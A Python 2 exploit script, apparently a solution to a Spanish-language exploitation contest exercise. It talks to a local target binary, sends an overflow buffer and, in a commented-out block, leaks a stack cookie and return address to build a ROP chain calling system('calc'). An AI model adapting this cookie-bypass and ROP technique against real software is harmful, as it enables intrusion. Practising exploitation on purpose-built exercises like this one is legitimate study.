import socket
import struct
import time
import os

# os.startfile(r"C:\Users\ricnar\Documents\Visual Studio 2017\Projects\ConsoleApplication8\x64\Release\ConsoleApplication8.exe")

time.sleep(3)

def print_bytes(cantidad, string):
    for i in range(cantidad):
        print "\\" + hex(ord(string[i])),
    print "-"



ip = "127.0.0.1"
port = 8888
s = socket.socket()
s.connect((ip,port))
offset=struct.pack("<L", 0x0044)

while(1):
    fruta=struct.pack("<L",0x001050)+ offset
    s.send(fruta)
    a=s.recv(0x20)
    print "%r"%a
    # enter=raw_input("SIGO?") #### para que pare
    enter="A"
    print enter
    if enter=="A":
        offset = struct.pack("<L", 0x88)
        fruta = struct.pack("<L", 0x001050) + offset
        s.send(fruta)
        break

nuevo_port=4930

s1 = socket.socket()
s1.connect((ip,nuevo_port))

buf = s1.recv(600)

key=struct.unpack("<L",buf[:4])[0]

print "0x%x"%key

resul=0x98543267 -key


fruta_2= struct.pack("<L",key)+ struct.pack("<L",resul)+ "A"*(0x2000-8)
s1.send(fruta_2)



# print "BUFFER",len(buf)
# print_bytes(len(buf),buf)
#
# print "COOKIE"
# cookie=buf[:4]
# print_bytes(len(cookie),cookie)
#
# ret=buf[8:16]
# print_bytes(len(ret),ret)
#
# cookie_val=struct.unpack("<L",cookie)[0]
#
# print "COOKIE_VAL", hex(cookie_val)
#
# ret_val=struct.unpack("<Q",ret)[0]
#
# print hex(ret_val)
#
# leak_data=ret_val
# leak_cookie=cookie_val
#
# #CHOREADO DE LORDP3I
#
# payload2="\x00\x00\x54\x98"
# payload2+="\x67\x32\x00\x00"
# payload2+="\xf4\x13\x00\x00"#ECX
# payload2+="\xFF\xFF\x00\x7F"#EAX
# payload2+="A"*4584
# payload2+=struct.pack('<Q',leak_cookie)
# payload2+="\x90\x90\x90\x90\x90\x90\x90\x90"
# payload2+="\x90\x90\x90\x90\x90\x90\x90\x90"
#
#
# payload2+=struct.pack('<Q',leak_data+67913)# pop rax # retn CONCURSO_LISTA_EJECUTAR_CALC.exe 2 8 one-reg, stack rax  ascii
# payload2+=struct.pack('<Q',0x00000000636c6163)  #calc
#
# print "POP EAX-RET= %s"%hex(leak_data+67913)
#
# payload2+=struct.pack('<Q',leak_data-1126)# pop rdi # retn
#
# print "POP EDI-RET= %s"%hex(leak_data-1126)
#
# payload2+=struct.pack('<Q',leak_data+0x1CA70) #writable address
#
# print "WRITABLE ADDRESS= %s"%hex(leak_data+0x1CA70)
#
# payload2+=struct.pack('<Q',leak_data+7407)# stosq # mov rdi, [rsp+arg_0] # retn CONCURSO_LISTA_EJECUTAR_CALC.exe 3 0 reg-to-mem, mem-to-reg rdi rax
#
# print "STOSQ ADDRESS= %s"%hex(leak_data+7407)
#
# #Pongo en rcx dir calc
# payload2+=struct.pack('<Q',leak_data+7806) #lea     rcx, aCalc                      ; "calc"
#
# print "LEA ADDRESS= %s"%hex(leak_data+7806)
#
# payload2+=struct.pack('<Q',leak_data+16888)
#
# print "SYSTEM ADDRESS= %s"%hex(leak_data+16888)
#
# fruta=payload2
#
# s1.send(fruta)
# s1.close()
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
# # buf = buf.split("Nuevo Port is = ")
# # new_port = int(buf[1][0:buf[1].find('\n'+'\x00')],10)
# # print "New port is = " + str(new_port)
# # s.send("DCBA")
# # s.close()
# # time.sleep(1)